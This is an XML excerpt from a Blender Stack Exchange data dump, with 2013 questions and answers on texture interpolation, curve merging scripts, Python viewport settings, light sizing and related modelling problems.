  <row Id="2589" PostTypeId="2" ParentId="2586" CreationDate="2013-08-26T18:50:42.963" Score="26" Body="&lt;p&gt;In addition to scaling the textures up in an image editor with &lt;a href=&quot;http://en.wikipedia.org/wiki/Image_scaling#Scaling_methods&quot; rel=&quot;nofollow noreferrer&quot;&gt;pixel interpolation&lt;/a&gt; disabled, (as &lt;a href=&quot;https://blender.stackexchange.com/a/2588/599&quot;&gt;mentioned by Gunslinger&lt;/a&gt;)&lt;br&gt;&#xA;Another method is to disable pixel interpolation right in Blender and save memory, and as already mentioned by Krivar, keeping the texture sharp even when close up:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles:&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As of &lt;a href=&quot;https://developer.blender.org/rBdd2dca2f7e77&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt;, (&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Cycles#Nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;will be in blender 2.71&lt;/a&gt;) texture nodes now have an option to change the interpolation method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dv8aW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;em&gt;Closest&lt;/em&gt; will keep the pixels sharp.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Original answer:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could use &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?244662-Cycles-Getting-rid-of-Texture-Interpolation-yay-for-blocky-no-for-blurry!!&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; technique, which uses a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;node setup&lt;/a&gt; to scale the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV&quot; rel=&quot;nofollow noreferrer&quot;&gt;UV map&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KG6Rj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KG6Rj.png&quot; alt=&quot;A variation of the original setup on BA&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;To add &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Nodes&lt;/em&gt;&lt;/a&gt;, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Add node&lt;/em&gt; in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Node Editor&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To create a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Node_Editor#Group_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Node Group&lt;/em&gt;&lt;/a&gt;, select the nodes you want and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to make them into a group, creating the &lt;em&gt;Group input&lt;/em&gt; and &lt;em&gt;Group output&lt;/em&gt; nodes. Press &lt;kbd&gt;Tab&lt;/kbd&gt; to toggle editing the group.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To use the above group, connect the &lt;em&gt;UV&lt;/em&gt; output of the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Texture_Coordinates&quot; rel=&quot;nofollow noreferrer&quot;&gt;Texture Coordinates&lt;/a&gt; node&lt;/em&gt; to the &lt;em&gt;UV&lt;/em&gt; input of the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Node_Groups#Grouping_Nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;NodeGroup&lt;/a&gt;&lt;/em&gt;, and connect the output to the UV coordinates used to map your texture.&lt;br&gt;&#xA;(The &lt;em&gt;Vector&lt;/em&gt; input on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures#Image_Texture&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;texture node&lt;/em&gt;&lt;/a&gt;):&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KU3io.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KU3io.png&quot; alt=&quot;Example setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the &lt;em&gt;X&lt;/em&gt; and &lt;em&gt;Y&lt;/em&gt; values to the &lt;em&gt;X&lt;/em&gt; and &lt;em&gt;Y&lt;/em&gt; dimensions of your texture.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Internal:&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Disable &lt;em&gt;Interpolation&lt;/em&gt; and set &lt;em&gt;filter&lt;/em&gt; to &lt;em&gt;Box&lt;/em&gt; in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Image#Image_Sampling&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Material texture settings &gt; Image Sampling&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/q1vVU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q1vVU.png&quot; alt=&quot;No interpolation BI settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View&quot; rel=&quot;nofollow noreferrer&quot;&gt;Viewport&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can disable interpolation in the Viewport by disabling &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/System#Open_GL&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mipmaps&lt;/em&gt;&lt;/a&gt; in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;rarr; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences&quot; rel=&quot;nofollow noreferrer&quot;&gt;User Preferences&lt;/a&gt; &amp;rarr; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/System&quot; rel=&quot;nofollow noreferrer&quot;&gt;System&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Imre4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Imre4.png&quot; alt=&quot;Mipmapping disabled&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2014-04-19T07:29:55.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2590" PostTypeId="2" ParentId="2558" CreationDate="2013-08-26T19:28:36.610" Score="9" Body="&lt;p&gt;Another aspect to consider is the environment in which the glass is in. A perfectly black sky (as seen in your screenshots) is not very good for the glass to reflect/refract with. If you want realistic looking light interaction, consider adding mesh light emitters to mimic real light sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider setting up a studio-like lightbox, or use an HDR image to act as the sky.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-08-26T19:28:36.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2591" PostTypeId="1" AcceptedAnswerId="2601" CreationDate="2013-08-26T19:41:59.660" Score="6" ViewCount="1401" Body="&lt;p&gt;To adjust the shape of area light in cycles, there is the Scale, or there is size in the light properties.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way? &lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="599" LastEditDate="2013-08-26T19:52:34.107" LastActivityDate="2013-08-27T08:46:53.453" Title="Difference between the scale and the size of a light in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2593" PostTypeId="2" ParentId="2428" CreationDate="2013-08-26T19:47:57.073" Score="7" Body="&lt;p&gt;The threading module should take care of it. Just create a separate python thread and run your blocking code (e.g. networking code) in there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import time&#xA;import threading&#xA;&#xA;def main():&#xA;    thread = Worker(None)&#xA;    thread.start()&#xA;&#xA;class Worker(threading.Thread):&#xA;&#xA;    def __init__(self, args):&#xA;        self.args = args&#xA;        threading.Thread.__init__(self)&#xA;&#xA;    def run(self):&#xA;        print(&quot;Starting worker&quot;)&#xA;        ...&#xA;        print(&quot;Finishing worker&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that Python 3's threading model does not map to the OS threads, all the threads will run under the Python interpreter anyway. Because of this, threading is only useful for executing blocking operations, not for performance gain.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-08-26T19:47:57.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2594" PostTypeId="2" ParentId="2587" CreationDate="2013-08-26T20:06:38.433" Score="3" Body="&lt;p&gt;Blender doesn't support VRML1.0, Your best option would be to find a program that supports it and re-save as a different format that Blender does support (VRML2.0 or X3D)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you search for &lt;a href=&quot;https://www.google.com/search?q=VMRL%201.0%20to%202.0&quot; rel=&quot;nofollow&quot;&gt;VRML 1 to 2&lt;/a&gt; there are many hits and links that look useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The successor to VRML1 was released in 1997, over 15 years old. Support for formats that are long out of use is limited, at some point its probably best to use file format converting applications.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2013-08-26T20:28:37.853" LastActivityDate="2013-08-26T20:28:37.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2595" PostTypeId="1" AcceptedAnswerId="2597" CreationDate="2013-08-26T21:16:59.973" Score="5" ViewCount="3848" Body="&lt;p&gt;I am a beginner with python, and prompted by my &lt;a href=&quot;https://blender.stackexchange.com/questions/2573/render-with-opengl-from-the-command-line&quot;&gt;previous question&lt;/a&gt;, I was trying to set viewport shading to &lt;em&gt;Solid&lt;/em&gt; and &lt;em&gt;View Only Render&lt;/em&gt; to &lt;em&gt;True&lt;/em&gt; with python. (The goal being to get the script in that answer to work entirely from python without any need for interaction with the GUI)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however, simply typing &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68a_release/bpy.types.SpaceView3D.html#bpy.types.SpaceView3D.show_only_render&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;show_only_render&lt;/code&gt;&lt;/a&gt;&lt;code&gt;= True&lt;/code&gt; or &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68a_release/bpy.types.SpaceView3D.html#bpy.types.SpaceView3D.viewport_shade&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;viewport_shade&lt;/code&gt;&lt;/a&gt;&lt;code&gt;= 'SOLID'&lt;/code&gt; in the console results in nothing happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can understand from a lot of searching, is that the cursor needs to be in the 3D view for that object to be active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is suggested &lt;a href=&quot;http://www.blender.org/forum/viewtopic.php?p=89711&amp;amp;sid=c18d5fe9e5dcc5bb622fa9ad20d53692&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; to loop through all the &lt;em&gt;areas&lt;/em&gt; to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing this and setting the &lt;em&gt;view&lt;/em&gt; to &lt;em&gt;camera&lt;/em&gt;, &lt;em&gt;shading&lt;/em&gt; to &lt;em&gt;solid&lt;/em&gt;, and &lt;em&gt;view only render&lt;/em&gt; to &lt;em&gt;true.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what actually happens is that the view is set to camera, and the image is rendered without changing &lt;em&gt;view only render&lt;/em&gt; to &lt;em&gt;True&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modified version of the &lt;a href=&quot;https://blender.stackexchange.com/questions/2573/render-with-opengl-from-the-command-line/2575#2575&quot;&gt;script originally written by Adhi in my previous question&lt;/a&gt;, with changes suggested by Aldrik in the answer below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import sys                      # read argument from sys.argv&#xA;from bpy.app.handlers import persistent&#xA;&#xA;@persistent&#xA;def do_render_opengl(dummy):&#xA;    for area in bpy.context.screen.areas:&#xA;      if area.type == 'VIEW_3D':&#xA;        area.spaces[0].region_3d.view_perspective = 'CAMERA'&#xA;      #if area.type == 'SpaceView3D' :&#xA;      area.spaces[0].show_only_render = True&#xA;      area.spaces[0].viewport_shade = 'SOLID'&#xA;    bpy.data.scenes[0].render.filepath=&quot;/tmp/glrender.png&quot;&#xA;    bpy.ops.render.opengl(animation=False, write_still=True, view_context=True)&#xA;    bpy.ops.wm.quit_blender()&#xA;&#xA;bpy.app.handlers.load_post.append(do_render_opengl)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;I have changed the script with Aldrik's improvements, but when I run it with&lt;/em&gt;&#xA;&lt;code&gt;blender -P gl_render.py example.blend&lt;/code&gt;, &lt;em&gt;It returns:&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File &quot;/home/gandalf3/Blender/Opengl_render.py&quot;, line 11, in do_render_opengl&#xA;    area.spaces[0].show_only_render = True&#xA;AttributeError: 'SpaceInfo' object has no attribute 'show_only_render'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that it's still not in the right context?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2013-08-27T01:45:25.850" Title="Changing settings of the 3D view with Python" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2596" PostTypeId="1" CreationDate="2013-08-26T22:05:41.300" Score="9" ViewCount="9763" Body="&lt;p&gt;I try to use points from an import as a spline to make curves as paths to follow for an animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These curves share some points at the ends and beginning when I import them via Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;br&gt;&#xA;s1: A-a-b-B&#xA;s2: C--D&#xA;s3: B-c-C&#xA;s4: D-d-E&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which in the viewport look like&#xA;A-a-b-B-c-C--D-d-E&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to join them together, so that I'll have one single spline &#xA;s5: A-a-b-B-c-C--D-d-E&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to join them, but they are still not merged at their shared points, which makes the rest of the spline not used for the following. &#xA;If I join them it looks like:&#xA;s1: A-a-b-BB-c-CC--DD-d-E&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, another part of the problem is that the order of the splines from the import is not given, that s1 and s2 may not have shared nodes, and are only connected to each other via others like s3 and s4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to merge them? via commands or scripting&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="12" LastEditDate="2013-08-27T02:41:32.707" LastActivityDate="2013-08-27T15:04:31.663" Title="Joining several splines" Tags="&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2597" PostTypeId="2" ParentId="2595" CreationDate="2013-08-26T23:18:43.150" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.SpaceView3D.html#bpy.types.SpaceView3D.show_only_render&quot;&gt;&lt;code&gt;show_only_render&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.SpaceView3D.html#bpy.types.SpaceView3D.viewport_shade&quot;&gt;&lt;code&gt;viewport_shade&lt;/code&gt;&lt;/a&gt; are &lt;em&gt;attributes&lt;/em&gt; of the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.SpaceView3D.html&quot;&gt;&lt;code&gt;SpaceView3D&lt;/code&gt;&lt;/a&gt;. So for your usage example you'd make the following change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-      if area.type == 'SpaceView3D' :&#xA;-        show_only_render = True&#xA;-        viewport_shade = 'SOLID'&#xA;+        area.spaces[0].show_only_render = True&#xA;+        area.spaces[0].viewport_shade = 'SOLID'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-26T23:18:43.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2598" PostTypeId="2" ParentId="2596" CreationDate="2013-08-27T00:11:11.323" Score="7" Body="&lt;p&gt;Select the two ends you want to join in editmode and press &lt;kbd&gt;F&lt;/kbd&gt;. If the shared ends are in the same place, you might want to delete one of them before connecting the curves.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-27T00:17:22.533" LastActivityDate="2013-08-27T00:17:22.533" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2600" PostTypeId="2" ParentId="1902" CreationDate="2013-08-27T08:23:55.353" Score="3" Body="&lt;p&gt;I personally have similar problems when importing an FBX into Maya (exported from blender).&#xA;In Maya 2009 everything worked fine, but in 2013 and later (possibly before that even) I have to rotate everything by -90 degrees on the Z axis. It might be possible to avoid this using settings in the exporter, but I've had no luck with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is indeed Maya that you're using, just select everything (including things that look like they're rotated fine) and run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rotate -r -os 0 0 -90&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put that on your shelf if you like, you'll probably be using it a lot.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-08-27T08:23:55.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2601" PostTypeId="2" ParentId="2591" CreationDate="2013-08-27T08:46:53.453" Score="4" Body="&lt;p&gt;My observation from Blender 2.68:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the size from the properties also changes the size in the 3D viewport.&lt;br&gt;&#xA;Changing the scale in the 3D viewport does not change the scale in the properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendered result is the same in both cases. The only difference is in how you see the light in the 3D viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusion:&lt;br&gt;&#xA;&lt;strong&gt;Either use one or the other, but don't mix.&lt;/strong&gt; If you mix, the actual size of the light is different from the one you see in the 3D viewport. Though it will not crash anything, it may become confusing.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2013-08-27T08:46:53.453" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2602" PostTypeId="1" AcceptedAnswerId="2611" CreationDate="2013-08-27T09:11:56.800" Score="3" ViewCount="2646" Body="&lt;p&gt;I'm working on importing a model and an animation for it from blender into Spring RTS. There are the following tools at my disposal:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Capability of the engine to import Collada via Assimp library. This function does not understand riggings and skeletons, so the only way to get an import of a structured animatable model is by constructing an object hierarchy with parent-child relations.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Capability of a third-party tool to convert BVH animations into animation scripts understood by the engine. Blender BVH export refuses to work on object hierarchies, so I need an armature (and I'd want one anyway).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This causes me to try inventing some hybrid approach. So far I've tried creating a separate, yet perfectly matching armature (for animation export and own convenience) and an object hierarchy (for model export), with intent to then constrain the individual objects in the hierarchy to follow their corresponding bones in the armature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way I could visualize the animations on a wysiwyg model, and export both the model and the animation to work in the engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I seem to failing at the constrain step, since the very first object I try to constrain to follow a bone via Transform, Copy Transform and Copy Rotation constraints, seems to be somehow strangely rotated from its start position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? How would I do this right? Are there any different, better approaches?&lt;/p&gt;&#xA;" OwnerUserId="1181" LastEditorUserId="1320" LastEditDate="2013-09-25T14:48:55.330" LastActivityDate="2013-09-25T14:48:55.330" Title="How do I force a parent-child object hierarchy to follow armature *without* using armature modifier?" Tags="&lt;animation&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2603" PostTypeId="2" ParentId="2596" CreationDate="2013-08-27T12:32:57.880" Score="3" Body="&lt;p&gt;Natively the only way to join splines is using &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves/Editing#Joining_Curve_Segments&quot; rel=&quot;nofollow&quot;&gt;Make Segment&lt;/a&gt;&lt;/em&gt;, which is a bit of a hassle for your use case as you'll need to manually change handle types, snap handles and remove points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following adds a &lt;em&gt;Merge&lt;/em&gt; operator that attempts to handle all that for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class OBJECT_OT_CurveMerge(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Merge two bezier curve points&quot;&quot;&quot;&#xA;    bl_idname = &quot;curve.merge&quot;&#xA;    bl_label = &quot;Merge&quot;&#xA;    bl_options = {&quot;REGISTER&quot;, &quot;UNDO&quot;}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.mode == &quot;EDIT_CURVE&quot;&#xA;&#xA;    def execute(self, context):&#xA;        try:&#xA;            bpy.ops.curve.make_segment()&#xA;        except RuntimeError:&#xA;            pass # Already joined.&#xA;&#xA;        spline = bpy.context.object.data.splines.active&#xA;        selected = [p for p in spline.bezier_points if p.select_control_point]&#xA;&#xA;        if len(selected) != 2:&#xA;            self.report({&quot;WARNING&quot;, &quot;ERROR&quot;}, &quot;Cannot merge points&quot;)&#xA;            return {&quot;CANCELLED&quot;}&#xA;&#xA;        center = selected[0].co.lerp(selected[1].co, 0.5)&#xA;        selected[0].co = selected[1].co = center&#xA;&#xA;        selected[0].handle_left_type = selected[1].handle_left_type = \&#xA;        selected[0].handle_right_type = selected[1].handle_right_type = &quot;FREE&quot;&#xA;        if spline.use_cyclic_u:&#xA;            selected[0].handle_left = selected[1].handle_left&#xA;        else:&#xA;            selected[0].handle_right = selected[1].handle_right&#xA;&#xA;        bpy.ops.curve.select_all(action=&quot;DESELECT&quot;)&#xA;        selected[1].select_control_point = True&#xA;        bpy.ops.curve.delete(type=&quot;SELECTED&quot;)&#xA;        return {&quot;FINISHED&quot;}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(OBJECT_OT_CurveMerge)&#xA;&#xA;register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the above loaded:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Join the curves &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select points s1:B and s2:B &lt;kbd&gt;Space&lt;/kbd&gt;,&lt;kbd&gt;Merge&lt;/kbd&gt;&lt;kbd&gt;⏎&lt;/kbd&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Repeat for the rest of the points you wish to merge.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-27T15:04:31.663" LastActivityDate="2013-08-27T15:04:31.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2606" PostTypeId="1" AcceptedAnswerId="2616" CreationDate="2013-08-27T15:21:23.217" Score="7" ViewCount="1454" Body="&lt;p&gt;I used Blender this afternoon to turn a panorama into an extremely wide-angled photograph. This got me wondering: would it make any sense to store EXIF data in images generated by Cycles so you get the FOV, ISO, Arpeture, and so on? Especially since HDR formats are like the digital equivalent to taking a picture, I can see it being useful for making accurate composites, faking camera shake, and other things. Do Radiance HDR or OpenEXR keep track of that sort of metadata? I tried looking around and couldn't find anything. How do professionals keep track of that meta data in their renders or does nobody care?&lt;/p&gt;&#xA;" OwnerUserId="240" LastActivityDate="2017-01-31T11:32:49.600" Title="How can we store EXIF-type metadata in renders?" Tags="&lt;workflow&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2607" PostTypeId="2" ParentId="2606" CreationDate="2013-08-27T15:30:22.980" Score="1" Body="&lt;p&gt;I don't know of any option to add this data from within Blender, but I would think an extension would be the best solution (there are already options for &lt;a href=&quot;https://blender.stackexchange.com/questions/463/logging-renders/464#464&quot;&gt;timestamps and other such simple info&lt;/a&gt; IIRC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, a possible solution would be to use a 3rd party application such as &lt;a href=&quot;http://www.gimp.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GIMP&lt;/a&gt; to add this information to the file.&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2013-08-27T19:04:55.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2608" PostTypeId="2" ParentId="2602" CreationDate="2013-08-27T15:43:40.703" Score="1" Body="&lt;p&gt;I'm assuming that you've already copied the object's starting rotation to match the rotation and roll of the bone. You &lt;em&gt;might&lt;/em&gt; need to apply this rotation (Ctrl+A) in order for the constraints to start working properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is that you might be experiencing Gimbal lock on your objects. Armatures don't exhibit this problem because their default rotation type uses quaternions, whereas objects default to Euler rotations. Fortunately, you can change the rotation type for objects (3D View &gt; Properties region (N) &gt; Transform panel &gt; Rotation) from XYZ Euler to Quaternion (WXYZ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try that and see if you're still running into rotation issues.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-08-27T15:43:40.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2609" PostTypeId="1" CreationDate="2013-08-27T17:34:49.110" Score="4" ViewCount="3242" Body="&lt;p&gt;Well I retopologized the object and now I am having trouble with the mirror of it. It keeps mirroring int he wrong area and is not matching up equally. Also my verticies at the end of my mesh that would connect the mirror are not alligned properly. Can someonehelp. I have pictures below.&lt;img src=&quot;https://i.stack.imgur.com/myFjG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1162" LastEditorUserId="1162" LastEditDate="2013-08-27T17:54:37.303" LastActivityDate="2013-08-27T21:08:29.660" Title="Mirrored object doesn't match it perfectly?" Tags="&lt;mirror&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2013-08-27T18:08:21.033" ContentLicense="CC BY-SA 3.0" />
